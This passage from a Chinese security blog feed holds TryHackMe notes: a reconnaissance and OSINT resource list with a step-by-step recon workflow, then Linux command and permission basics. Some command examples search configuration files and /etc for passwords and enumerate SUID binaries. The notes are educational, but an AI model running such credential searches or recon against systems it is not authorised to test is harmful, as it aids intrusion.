&quot;API_KEY&quot;</span><br></pre></td></tr></table></figure></p><h2 id="二、专业资产检索平台"><a href="#二、专业资产检索平台" class="headerlink" title="二、专业资产检索平台"></a>二、专业资产检索平台</h2><h3 id="1-Shodan"><a href="#1-Shodan" class="headerlink" title="1) Shodan"></a>1) Shodan</h3><ul><li>用途：发现暴露在公网的服务、端口、设备指纹与组件版本。</li><li>适合快速判断目标暴露面和潜在弱点。</li></ul><h3 id="2-Censys"><a href="#2-Censys" class="headerlink" title="2) Censys"></a>2) Censys</h3><ul><li>用途：检索主机、证书、服务指纹、互联网资产关系。</li><li>适合证书链和资产归属扩展分析。</li></ul><h3 id="3-VirusTotal"><a href="#3-VirusTotal" class="headerlink" title="3) VirusTotal"></a>3) VirusTotal</h3><ul><li>用途：查询文件哈希、URL、域名、IP 的历史检测结果与关联线索。</li><li>适合 IOC 扩线和可疑样本初筛。</li></ul><h3 id="4-Have-I-Been-Pwned"><a href="#4-Have-I-Been-Pwned" class="headerlink" title="4) Have I Been Pwned"></a>4) Have I Been Pwned</h3><ul><li>用途：查询邮箱是否出现在历史数据泄露中。</li><li>适合账号暴露风险评估。</li></ul><h3 id="5-crt-sh"><a href="#5-crt-sh" class="headerlink" title="5) crt.sh"></a>5) crt.sh</h3><ul><li>用途：基于证书透明度日志（CT Logs）检索域名、组织名、证书指纹和证书条目。</li><li>适合从主域名扩展到证书里出现过的子域名、历史证书和关联身份。</li><li>根据 crt.sh 首页说明，可直接搜索域名、组织名、SHA-1/SHA-256 指纹或 crt.sh ID。</li></ul><h3 id="6-Wayback-Machine"><a href="#6-Wayback-Machine" class="headerlink" title="6) Wayback Machine"></a>6) Wayback Machine</h3><ul><li>用途：查看历史网页快照。</li><li>适合寻找已下线页面、旧版路径、历史 JS、历史管理入口和变更痕迹。</li></ul><h3 id="7-Wappalyzer"><a href="#7-Wappalyzer" class="headerlink" title="7) Wappalyzer"></a>7) Wappalyzer</h3><ul><li>用途：识别站点技术栈。</li><li>适合快速判断目标使用的前端框架、CMS、中间件、分析脚本和第三方组件。</li><li>按 Wappalyzer 官方 FAQ，扩展会通过 HTML、脚本、Cookie、网络请求和证书等指纹识别技术。</li></ul><h3 id="8-robots-txt"><a href="#8-robots-txt" class="headerlink" title="8) robots.txt"></a>8) <code>robots.txt</code></h3><ul><li>用途：查看站点主动暴露给爬虫的路径提示。</li><li>适合发现后台目录、测试路径、敏感入口、<code>sitemap.xml</code> 位置。</li><li>这不是“漏洞”，但常常是非常高价值的线索入口。</li></ul><h2 id="三、漏洞与利用信息源"><a href="#三、漏洞与利用信息源" class="headerlink" title="三、漏洞与利用信息源"></a>三、漏洞与利用信息源</h2><h3 id="1-CVE-NVD"><a href="#1-CVE-NVD" class="headerlink" title="1) CVE / NVD"></a>1) CVE / NVD</h3><ul><li>用途：查漏洞编号、影响范围、CVSS、修复建议。</li></ul><h3 id="2-Exploit-DB"><a href="#2-Exploit-DB" class="headerlink" title="2) Exploit-DB"></a>2) Exploit-DB</h3><ul><li>用途：检索公开 PoC/Exploit 样例。</li><li>注意：PoC 需要结合版本和环境验证，不可盲用。</li></ul><h3 id="3-GHDB（Google-Hacking-Database）"><a href="#3-GHDB（Google-Hacking-Database）" class="headerlink" title="3) GHDB（Google Hacking Database）"></a>3) GHDB（Google Hacking Database）</h3><ul><li>用途：检索已经分类整理好的搜索引擎查询语句，也就是常说的 Google Dorks。</li><li>按 Exploit-DB 的官方说明，GHDB 是一套用于发现被公开暴露敏感信息的搜索查询索引。</li><li>补充理解：</li><li>GHDB 不只对 Google 有参考价值，Exploit-DB 官方也明确提到它如今也包含面向 Bing、GitHub 等站点的搜索条目。</li></ul><h3 id="4-GitHub"><a href="#4-GitHub" class="headerlink" title="4) GitHub"></a>4) GitHub</h3><ul><li>用途：检索 PoC、漏洞复现脚本、检测工具、资产扫描工具。</li><li>建议同时查看：</li><li><code>README</code> 的适用版本说明</li><li>Issues 里的已知问题</li><li>最近提交时间（判断是否过时）</li></ul><h2 id="四、官方文档与技术手册"><a href="#四、官方文档与技术手册" class="headerlink" title="四、官方文档与技术手册"></a>四、官方文档与技术手册</h2><p>信息收集不只是“找漏洞”，还包括“理解系统”。</p><p>推荐优先查官方文档：</p><ul><li>Linux 手册（<code>man</code> / GNU docs）</li><li>Microsoft Learn</li><li>Apache HTTP Server Docs</li><li>Node.js 官方文档</li></ul><p>常用命令：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">man <span class="built_in">ls</span></span><br><span class="line">man ip</span><br><span class="line">man grep</span><br></pre></td></tr></table></figure></p><p>价值：</p><ul><li>精准理解参数行为</li><li>减少误报和误操作</li><li>快速验证某个配置是否默认开启</li></ul><p>常见平台的官方说明重点：</p><ul><li>Shodan 官方文档将搜索对象定义为 banner，核心语法是 <code>filter:value</code></li><li>Censys 官方文档将查询分成 full-text query 和 field-value query 两类</li><li>VirusTotal 官方文档将高级检索建立在 search modifiers 之上，常见写法是 <code>entity:domain</code>、<code>entity:url</code>、<code>positives:5+</code></li><li>Have I Been Pwned 官方 API 文档说明，按邮箱或域名查询需要授权，适合做受控范围内的暴露核验</li></ul><p>补充示例：<br><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">org:&quot;Example ISP&quot; port:443</span><br><span class="line">host.location.country=&quot;US&quot;</span><br><span class="line">entity:domain positives:5+</span><br><span class="line">entity:url p:5+</span><br></pre></td></tr></table></figure></p><h2 id="五、社交媒体与公开信息（OSINT）"><a href="#五、社交媒体与公开信息（OSINT）" class="headerlink" title="五、社交媒体与公开信息（OSINT）"></a>五、社交媒体与公开信息（OSINT）</h2><p>可用于目标侧信息拼图：</p><ul><li>组织架构、员工身份、技术栈线索</li><li>邮箱命名规则、子域命名风格</li><li>对外系统入口、活动页面、历史泄漏痕迹</li></ul><p>常见来源：</p><ul><li>GitHub、LinkedIn、X、Facebook、YouTube、B站等</li></ul><p>实践建议：</p><ul><li>测试用途尽量使用独立邮箱与隔离身份</li><li>不要将临时侦察账户绑定个人核心邮箱</li></ul><h2 id="六、一套可执行的侦察流程"><a href="#六、一套可执行的侦察流程" class="headerlink" title="六、一套可执行的侦察流程"></a>六、一套可执行的侦察流程</h2><h3 id="Step-1-基础画像"><a href="#Step-1-基础画像" class="headerlink" title="Step 1: 基础画像"></a>Step 1: 基础画像</h3><ul><li>组织名、域名、子域名、IP 段、业务系统入口</li></ul><h3 id="Step-2-页面痕迹与技术指纹"><a href="#Step-2-页面痕迹与技术指纹" class="headerlink" title="Step 2: 页面痕迹与技术指纹"></a>Step 2: 页面痕迹与技术指纹</h3><ul><li>先访问首页与关键入口</li><li>查看 <code>robots.txt</code>、<code>sitemap.xml</code></li><li>用 Wappalyzer 判断技术栈</li><li>用 Wayback Machine 看历史页面和旧路径</li><li>用 crt.sh 看证书与子域扩展</li></ul><h3 id="Step-3-公开资产扩展"><a href="#Step-3-公开资产扩展" class="headerlink" title="Step 3: 公开资产扩展"></a>Step 3: 公开资产扩展</h3><ul><li><code>site:</code> + 文件类型语法</li><li>Shodan/Censys 查暴露服务</li><li>证书与历史解析关系扩线</li></ul><h3 id="Step-4-漏洞关联"><a href="#Step-4-漏洞关联" class="headerlink" title="Step 4: 漏洞关联"></a>Step 4: 漏洞关联</h3><ul><li>按服务版本检索 CVE/NVD</li><li>检索公开 PoC（Exploit-DB/GitHub/GHDB）</li></ul><h3 id="Step-5-风险验证与记录"><a href="#Step-5-风险验证与记录" class="headerlink" title="Step 5: 风险验证与记录"></a>Step 5: 风险验证与记录</h3><ul><li>验证是否真实可利用</li><li>记录证据链（截图/命令/时间线）</li></ul><h2 id="七、记录模板（建议直接复用）"><a href="#七、记录模板（建议直接复用）" class="headerlink" title="七、记录模板（建议直接复用）"></a>七、记录模板（建议直接复用）</h2><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">## 目标信息</span></span><br><span class="line"><span class="bullet">-</span> 目标域名：</span><br><span class="line"><span class="bullet">-</span> 目标IP：</span><br><span class="line"><span class="bullet">-</span> 业务入口：</span><br><span class="line"></span><br><span class="line"><span class="section">## 资产发现</span></span><br><span class="line"><span class="bullet">-</span> 子域名：</span><br><span class="line"><span class="bullet">-</span> 开放端口：</span><br><span class="line"><span class="bullet">-</span> 中间件/版本：</span><br><span class="line"></span><br><span class="line"><span class="section">## 漏洞线索</span></span><br><span class="line"><span class="bullet">-</span> CVE：</span><br><span class="line"><span class="bullet">-</span> 影响条件：</span><br><span class="line"><span class="bullet">-</span> 参考链接：</span><br><span class="line"></span><br><span class="line"><span class="section">## 验证过程</span></span><br><span class="line"><span class="bullet">-</span> 命令：</span><br><span class="line"><span class="bullet">-</span> 输出摘要：</span><br><span class="line"><span class="bullet">-</span> 结论：</span><br></pre></td></tr></table></figure><h2 id="八、推荐官方入口"><a href="#八、推荐官方入口" class="headerlink" title="八、推荐官方入口"></a>八、推荐官方入口</h2><ul><li>Google Search Help: <a href="https://support.google.com/websearch/answer/2466433">https://support.google.com/websearch/answer/2466433</a></li><li>Bing Advanced Search Keywords: <a href="https://support.microsoft.com/en-us/topic/advanced-search-keywords-ea595928-5d63-4a0b-9c6b-0b769865e78a">https://support.microsoft.com/en-us/topic/advanced-search-keywords-ea595928-5d63-4a0b-9c6b-0b769865e78a</a></li><li>Bing Advanced Search Options: <a href="https://support.microsoft.com/en-us/topic/advanced-search-options-b92e25f1-0085-4271-bdf9-14aaea720930">https://support.microsoft.com/en-us/topic/advanced-search-options-b92e25f1-0085-4271-bdf9-14aaea720930</a></li><li>DuckDuckGo Search Syntax: <a href="https://duckduckgo.com/duckduckgo-help-pages/results/syntax/">https://duckduckgo.com/duckduckgo-help-pages/results/syntax/</a></li><li>Shodan Query Syntax: <a href="https://book.shodan.io/getting-started/query-syntax/">https://book.shodan.io/getting-started/query-syntax/</a></li><li>Censys Query Language: <a href="https://docs.censys.com/docs/censys-query-language">https://docs.censys.com/docs/censys-query-language</a></li><li>VirusTotal Search Modifiers: <a href="https://docs.virustotal.com/docs/search-modifiers-full-list">https://docs.virustotal.com/docs/search-modifiers-full-list</a></li><li>Have I Been Pwned API Docs: <a href="https://haveibeenpwned.com/API/V3">https://haveibeenpwned.com/API/V3</a></li><li>NVD: <a href="https://nvd.nist.gov/">https://nvd.nist.gov/</a></li><li>GitHub Docs: <a href="https://docs.github.com/">https://docs.github.com/</a></li><li>crt.sh: <a href="https://crt.sh/">https://crt.sh/</a></li><li>Wayback Machine: <a href="https://web.archive.org/">https://web.archive.org/</a></li><li>Wappalyzer FAQ: <a href="https://www.wappalyzer.com/faq/extension/">https://www.wappalyzer.com/faq/extension/</a></li></ul><hr><p>核心思路：先广度摸清资产，再深度验证风险，最后形成可复现的证据链。<br>这比“只记工具名”更能提升在 TryHackMe 和实战中的效率。</p>]]></content>
    
    
    <summary type="html">从搜索引擎语法、证书透明度、历史快照、资产平台、漏洞数据库到官方文档，整理一套可直接落地的信息收集清单。</summary>
    
    
    
    <category term="tryhackme" scheme="https://nuyoah.space/categories/tryhackme/"/>
    
    
    <category term="THM" scheme="https://nuyoah.space/tags/THM/"/>
    
    <category term="信息收集" scheme="https://nuyoah.space/tags/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
    
    <category term="OSINT" scheme="https://nuyoah.space/tags/OSINT/"/>
    
    <category term="漏洞研究" scheme="https://nuyoah.space/tags/%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/"/>
    
    <category term="渗透测试" scheme="https://nuyoah.space/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>[THM] Linux基础命令与权限笔记</title>
    <link href="https://nuyoah.space/posts/thm-linux-basics-20260319.html"/>
    <id>https://nuyoah.space/posts/thm-linux-basics-20260319.html</id>
    <published>2026-03-19T15:40:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Linux基础命令与权限笔记"><a href="#Linux基础命令与权限笔记" class="headerlink" title="Linux基础命令与权限笔记"></a>Linux基础命令与权限笔记</h1><p>这篇内容整理自我的 Linux 学习笔记，重点放在靶场和日常渗透测试最常用的命令上。</p><h2 id="一、终端与身份"><a href="#一、终端与身份" class="headerlink" title="一、终端与身份"></a>一、终端与身份</h2><h3 id="echo"><a href="#echo" class="headerlink" title="echo"></a><code>echo</code></h3><ul><li>作用：输出文本。</li><li>示例：<code>echo &quot;hello&quot;</code></li></ul><h3 id="whoami"><a href="#whoami" class="headerlink" title="whoami"></a><code>whoami</code></h3><ul><li>作用：查看当前登录用户。</li><li>示例：<code>whoami</code></li></ul><h2 id="二、目录与文件浏览"><a href="#二、目录与文件浏览" class="headerlink" title="二、目录与文件浏览"></a>二、目录与文件浏览</h2><h3 id="ls"><a href="#ls" class="headerlink" title="ls"></a><code>ls</code></h3><ul><li>作用：列出目录内容。</li><li>常用参数：</li><li><code>-l</code>：长列表显示（权限、属主、大小、时间）</li><li><code>-a</code>：显示隐藏文件</li><li><code>-h</code>：配合 <code>-l</code> 友好显示大小</li><li><code>-t</code>：按修改时间排序</li><li><code>-S</code>：按文件大小排序</li><li><code>-R</code>：递归显示子目录</li></ul><h3 id="cd"><a href="#cd" class="headerlink" title="cd"></a><code>cd</code></h3><ul><li>作用：切换目录。</li><li>常用写法：</li><li><code>cd 目录名</code>：进入目录</li><li><code>cd ..</code>：返回上级</li><li><code>cd ~</code> 或 <code>cd</code>：回到家目录</li><li><code>cd -</code>：返回上一次目录</li></ul><h3 id="pwd"><a href="#pwd" class="headerlink" title="pwd"></a><code>pwd</code></h3><ul><li>作用：显示当前完整路径。</li><li>示例：<code>pwd</code></li></ul><h3 id="cat"><a href="#cat" class="headerlink" title="cat"></a><code>cat</code></h3><ul><li>作用：查看文件内容。</li><li>常用参数：</li><li><code>-n</code>：显示行号</li><li><code>-b</code>：仅给非空行编号</li><li><code>-s</code>：压缩连续空行</li><li><code>-A</code>：显示特殊字符</li></ul><h2 id="三、文件查找与过滤"><a href="#三、文件查找与过滤" class="headerlink" title="三、文件查找与过滤"></a>三、文件查找与过滤</h2><h3 id="find"><a href="#find" class="headerlink" title="find"></a><code>find</code></h3><ul><li>作用：按名称、类型、大小、时间、权限等条件查找文件。</li><li>使用提醒：</li><li>如果不写起始路径，通常默认从当前目录 <code>.</code> 开始查找</li><li><code>-name &quot;*.log&quot;</code> 这类模式建议加引号，避免被 shell 先展开</li><li>在靶场里经常会配合 <code>2&gt;/dev/null</code> 屏蔽无权限访问报错</li><li>常用示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">find . -name <span class="string">&quot;*.log&quot;</span></span><br><span class="line">find . -iname <span class="string">&quot;*.jpg&quot;</span></span><br><span class="line">find . -<span class="built_in">type</span> f -size +10M</span><br><span class="line">find . -mtime -1</span><br><span class="line">find . -perm 644</span><br><span class="line">find . -name <span class="string">&quot;*.log&quot;</span> -<span class="built_in">exec</span> <span class="built_in">ls</span> -lh &#123;&#125; \;</span><br><span class="line">find / -perm -4000 2&gt;/dev/null</span><br><span class="line">find . -<span class="built_in">type</span> f -name <span class="string">&quot;*.conf&quot;</span> -<span class="built_in">exec</span> grep -Hn <span class="string">&quot;password&quot;</span> &#123;&#125; \; 2&gt;/dev/null</span><br></pre></td></tr></table></figure></li></ul><h3 id="grep"><a href="#grep" class="headerlink" title="grep"></a><code>grep</code></h3><ul><li>作用：文本过滤与模式匹配。</li><li>常用参数：</li><li><code>-i</code> 忽略大小写</li><li><code>-n</code> 显示行号</li><li><code>-r</code> 递归搜索</li><li><code>-v</code> 反向匹配</li><li><code>-c</code> 统计匹配行数</li><li><code>-E</code> 扩展正则</li><li><code>-R</code> 递归搜索并跟随符号链接</li><li><code>-A/-B/-C</code> 显示匹配前后文</li><li>使用提醒：</li><li><code>-r</code> 和 <code>-R</code> 很像，但 <code>-R</code> 会更积极地跟随符号链接</li><li>脚本里要注意退出码：匹配到是 <code>0</code>，未匹配到是 <code>1</code>，出错是 <code>2</code></li><li>常用示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">grep -i <span class="string">&quot;error&quot;</span> app.log</span><br><span class="line">grep -rn <span class="string">&quot;password&quot;</span> .</span><br><span class="line">grep -v <span class="string">&quot;^#&quot;</span> config.txt</span><br><span class="line">grep -E <span class="string">&quot;error|warning&quot;</span> app.log</span><br><span class="line">grep -Rni --include=<span class="string">&quot;*.conf&quot;</span> <span class="string">&quot;password&quot;</span> /etc</span><br><span class="line">grep -A 2 -B 2 <span class="string">&quot;failed&quot;</span> auth.log</span><br></pre></td></tr></table></figure></li></ul><h3 id="wc"><a href="#wc" class="headerlink" title="wc"></a><code>wc</code></h3><ul><li>作用：统计文件信息。</li><li>示例：<code>wc -l access.log</code>（统计行数）</li></ul><h3 id="按时间查看最近修改的文件"><a href="#按时间查看最近修改的文件" class="headerlink" title="按时间查看最近修改的文件"></a>按时间查看最近修改的文件</h3><ul><li>按 GNU Coreutils 手册，标准 POSIX 文件通常至少有 3 个时间戳：</li><li><code>atime</code>：最后访问时间</li><li><code>mtime</code>：最后内容修改时间</li><li><code>ctime</code>：最后元数据状态变化时间</li><li>有些文件系统还支持第 4 个时间：<code>birth time</code>（创建时间）</li></ul><p>常用查看方法：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -lt</span><br><span class="line"><span class="built_in">ls</span> -lt --<span class="keyword">time</span>=ctime</span><br><span class="line"><span class="built_in">ls</span> -ltu</span><br><span class="line"><span class="built_in">ls</span> -lt --time-style=long-iso</span><br><span class="line"><span class="built_in">ls</span> -lt --time-style=full-iso</span><br><span class="line"><span class="built_in">stat</span> note.txt</span><br><span class="line"><span class="built_in">stat</span> -c <span class="string">&#x27;%n %x %y %z %w&#x27;</span> note.txt</span><br><span class="line">find . -<span class="built_in">type</span> f -mmin -60</span><br><span class="line">find . -<span class="built_in">type</span> f -mtime -1</span><br><span class="line">find . -daystart -<span class="built_in">type</span> f -mtime 1</span><br><span class="line">find . -newermt <span class="string">&quot;2026-03-01&quot;</span></span><br><span class="line">find . -newer ref.txt</span><br></pre></td></tr></table></figure></p><ul><li>补充理解：</li><li><code>ls -lt</code> 默认按 <code>mtime</code> 排序，最新修改的文件排在最前面</li><li><code>ls -lt --time=ctime</code> 更适合看权限、属主、重命名等元数据变化</li><li><code>ls -ltu</code> 按访问时间看最近被读取过的文件</li><li><code>--time-style=long-iso</code> 和 <code>full-iso</code> 比默认时间格式更适合排查问题</li><li><code>stat -c &#39;%n %x %y %z %w&#39;</code> 可以一次看文件名、访问时间、修改时间、状态变化时间和创建时间</li><li><code>find -mtime 0</code> 的含义是“不到 24 小时前修改”，<code>-mtime 1</code> 是“24 到 48 小时前修改”</li><li><code>find -mmin</code> 适合更细粒度的分钟级筛选</li><li><code>-daystart</code> 会把计算基准改成今天 00:00，更适合查“昨天改过的文件”</li><li><code>-newermt</code> 可以直接按一个时间点筛选，<code>-newer</code> 则是拿参考文件做比较</li></ul><h2 id="四、重定向与连接符"><a href="#四、重定向与连接符" class="headerlink" title="四、重定向与连接符"></a>四、重定向与连接符</h2><ul><li>Linux 命令通常围绕 3 个标准流工作：</li><li><code>stdin</code>：标准输入（文件描述符 <code>0</code>）</li><li><code>stdout</code>：标准输出（文件描述符 <code>1</code>）</li><li><code>stderr</code>：标准错误（文件描述符 <code>2</code>）</li><li><code>&gt;</code>：覆盖写入文件</li><li><code>&gt;&gt;</code>：追加写入文件</li><li><code>&lt;</code>：从文件读取输入</li><li><code>2&gt;</code>：只重定向错误输出</li><li><code>2&gt;/dev/null</code>：丢弃错误信息</li><li><code>&gt; file 2&gt;&amp;1</code>：把标准输出和错误输出写入同一个文件</li><li><code>&amp;&amp;</code>：前一条成功才执行后一条</li><li><code>;</code>：无论前一条是否成功都继续执行</li><li><code>&amp;</code>：命令放后台运行</li></ul><p>示例：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> &lt; note.txt</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;hey&quot;</span> &gt; note.txt</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;new line&quot;</span> &gt;&gt; note.txt</span><br><span class="line"><span class="built_in">mkdir</span> <span class="built_in">test</span> &amp;&amp; <span class="built_in">cd</span> <span class="built_in">test</span></span><br><span class="line">find / -name <span class="string">&quot;*.conf&quot;</span> 2&gt;/dev/null</span><br><span class="line">grep -Rni <span class="string">&quot;error&quot;</span> . &gt; result.log 2&gt;&amp;1</span><br><span class="line">python3 -m http.server &amp;</span><br></pre></td></tr></table></figure></p><ul><li>补充理解：</li><li>Bash 会按从左到右处理重定向，所以 <code>cmd &gt;file 2&gt;&amp;1</code> 和 <code>cmd 2&gt;&amp;1 &gt;file</code> 结果不同</li><li>做信息收集时，<code>2&gt;/dev/null</code> 很常见，可以减少权限报错对刷屏的影响</li></ul><h2 id="五、常用文件操作命令"><a href="#五、常用文件操作命令" class="headerlink" title="五、常用文件操作命令"></a>五、常用文件操作命令</h2><h3 id="touch"><a href="#touch" class="headerlink" title="touch"></a><code>touch</code></h3><ul><li>作用：创建空文件或更新时间戳。</li><li>常用参数：</li><li><code>-a</code>：只改访问时间 <code>atime</code></li><li><code>-m</code>：只改修改时间 <code>mtime</code></li><li><code>-d &quot;时间&quot;</code>：使用指定时间</li><li><code>-t [[cc]yy]mmddhhmm[.ss]</code>：使用固定时间格式</li><li><code>-r 参考文件</code>：复制参考文件的时间戳</li><li><code>-c</code>：只改已有文件，不创建新文件</li><li>常用示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">touch</span> note.txt</span><br><span class="line"><span class="built_in">touch</span> -m report.txt</span><br><span class="line"><span class="built_in">touch</span> -a access.log</span><br><span class="line"><span class="built_in">touch</span> -d <span class="string">&quot;2026-03-29 12:00:00&quot;</span> note.txt</span><br><span class="line"><span class="built_in">touch</span> -t 202603291200.00 note.txt</span><br><span class="line"><span class="built_in">touch</span> -r ref.txt target.txt</span><br><span class="line"><span class="built_in">touch</span> -c existing.txt</span><br></pre></td></tr></table></figure></li><li>补充理解：</li><li>默认情况下，<code>touch</code> 会把文件时间戳设为当前时间</li><li>按 GNU Coreutils 手册，<code>touch</code> 可以直接修改的是 <code>atime</code> 和 <code>mtime</code></li><li><code>ctime</code> 不能被手动指定为任意值，<code>birth time</code> 也不能通过 <code>touch</code> 修改</li><li><code>touch</code> 会按参数从左到右处理文件，所以前后两个文件的最终时间戳可能会有极小差异</li></ul><h3 id="mkdir"><a href="#mkdir" class="headerlink" title="mkdir"></a><code>mkdir</code></h3><ul><li>作用：创建目录。</li><li>常用示例：<code>mkdir -p a/b/c</code></li></ul><h3 id="cp"><a href="#cp" class="headerlink" title="cp"></a><code>cp</code></h3><ul><li>作用：复制文件或目录。</li><li>常用示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> file1.txt file2.txt</span><br><span class="line"><span class="built_in">cp</span> -r dir1 backup/</span><br><span class="line"><span class="built_in">cp</span> -av src/ dst/</span><br></pre></td></tr></table></figure></li></ul><h3 id="mv"><a href="#mv" class="headerlink" title="mv"></a><code>mv</code></h3><ul><li>作用：移动或重命名文件。</li><li>示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mv</span> old.txt new.txt</span><br><span class="line"><span class="built_in">mv</span> file.txt docs/</span><br></pre></td></tr></table></figure></li></ul><h3 id="rm"><a href="#rm" class="headerlink" title="rm"></a><code>rm</code></h3><ul><li>作用：删除文件或目录。</li><li>常用示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> file.txt</span><br><span class="line"><span class="built_in">rm</span> -r old_dir</span><br><span class="line"><span class="built_in">rm</span> -rf temp/</span><br><span class="line"><span class="built_in">rm</span> -I temp/*</span><br><span class="line"><span class="built_in">rm</span> -- -f</span><br></pre></td></tr></table></figure></li><li>注意：<code>rm -rf</code> 风险极高，务必确认路径。</li><li>补充说明：</li><li><code>rm -I</code> 会在大批量或递归删除前先进行一次确认</li><li>如果文件名本身以 <code>-</code> 开头，可以用 <code>--</code> 终止选项解析</li></ul><h3 id="file"><a href="#file" class="headerlink" title="file"></a><code>file</code></h3><ul><li>作用：识别文件类型（文本、二进制、脚本、压缩包等）。</li><li>示例：<code>file sample.bin</code></li></ul><h3 id="stat"><a href="#stat" class="headerlink" title="stat"></a><code>stat</code></h3><ul><li>作用：查看文件的详细元数据，包括大小、权限、inode 和时间戳。</li><li>常用示例：<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">stat</span> note.txt</span><br><span class="line"><span class="built_in">stat</span> -c <span class="string">&#x27;%n %s %A %x %y %z %w&#x27;</span> note.txt</span><br></pre></td></tr></table></figure></li><li>补充理解：</li><li><code>%x</code> 是最后访问时间 <code>atime</code></li><li><code>%y</code> 是最后内容修改时间 <code>mtime</code></li><li><code>%z</code> 是最后状态变化时间 <code>ctime</code></li><li><code>%w</code> 是创建时间；如果文件系统不支持，通常会显示 <code>-</code></li></ul><h2 id="六、Linux权限模型"><a href="#六、Linux权限模型" class="headerlink" title="六、Linux权限模型"></a>六、Linux权限模型</h2><p>使用 <code>ls -l</code> 可看到如下权限位：</p><ul><li>第 1 个字符表示文件类型：</li><li><code>-</code>：普通文件</li><li><code>d</code>：目录</li><li><code>l</code>：符号链接</li><li><code>p</code>：命名管道</li><li><code>s</code>：套接字</li><li>前三位：所有者（Owner）</li><li>中三位：用户组（Group）</li><li>后三位：其他用户（Others）</li></ul><p>权限值：</p><ul><li><code>r</code> 读（4）</li><li><code>w</code> 写（2）</li><li><code>x</code> 执行（1）</li></ul><p>常见权限组合：</p><ul><li><code>777</code>：所有用户可读可写可执行</li><li><code>755</code>：属主可写，其他只读可执行</li><li><code>700</code>：仅属主可访问</li><li><code>644</code>：属主读写，其他只读</li></ul><p>目录权限需要单独理解：</p><ul><li>目录的 <code>r</code>：可以列出目录内容</li><li>目录的 <code>w</code>：可以在目录中创建、删除、重命名条目</li><li>目录的 <code>x</code>：可以进入目录并访问其中对象</li></ul><p>补充说明：</p><ul><li>所以“目录可写”和“文件可写”不是一回事</li><li>如果 <code>ls -l</code> 权限串后面出现 <code>+</code> 或 <code>.</code>，通常说明还有 ACL 或安全上下文，不只是简单的 9 位 <code>rwx</code></li></ul><h2 id="七、chmod、su-与-umask"><a href="#七、chmod、su-与-umask" class="headerlink" title="七、chmod、su 与 umask"></a>七、<code>chmod</code>、<code>su</code> 与 <code>umask</code></h2><h3 id="chmod"><a href="#chmod" class="headerlink" title="chmod"></a><code>chmod</code></h3><ul><li>作用：修改文件权限。</li><li><p>示例：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> 755 script.sh</span><br><span class="line"><span class="built_in">chmod</span> 644 note.txt</span><br><span class="line"><span class="built_in">chmod</span> 750 system_overview.txt</span><br><span class="line"><span class="built_in">chmod</span> u+x script.sh</span><br><span class="line"><span class="built_in">chmod</span> g-w notes.md</span><br><span class="line"><span class="built_in">chmod</span> go-rwx private.txt</span><br></pre></td></tr></table></figure></li><li><p>补充理解：</p></li><li>数字法适合一次性整体设置，例如 <code>755</code>、<code>644</code></li><li>符号法更适合精细修改，只改某一部分权限，不会把其他位一起覆盖</li><li>对目录来说，除了普通 <code>rwx</code> 外，还可能涉及 <code>setgid</code> 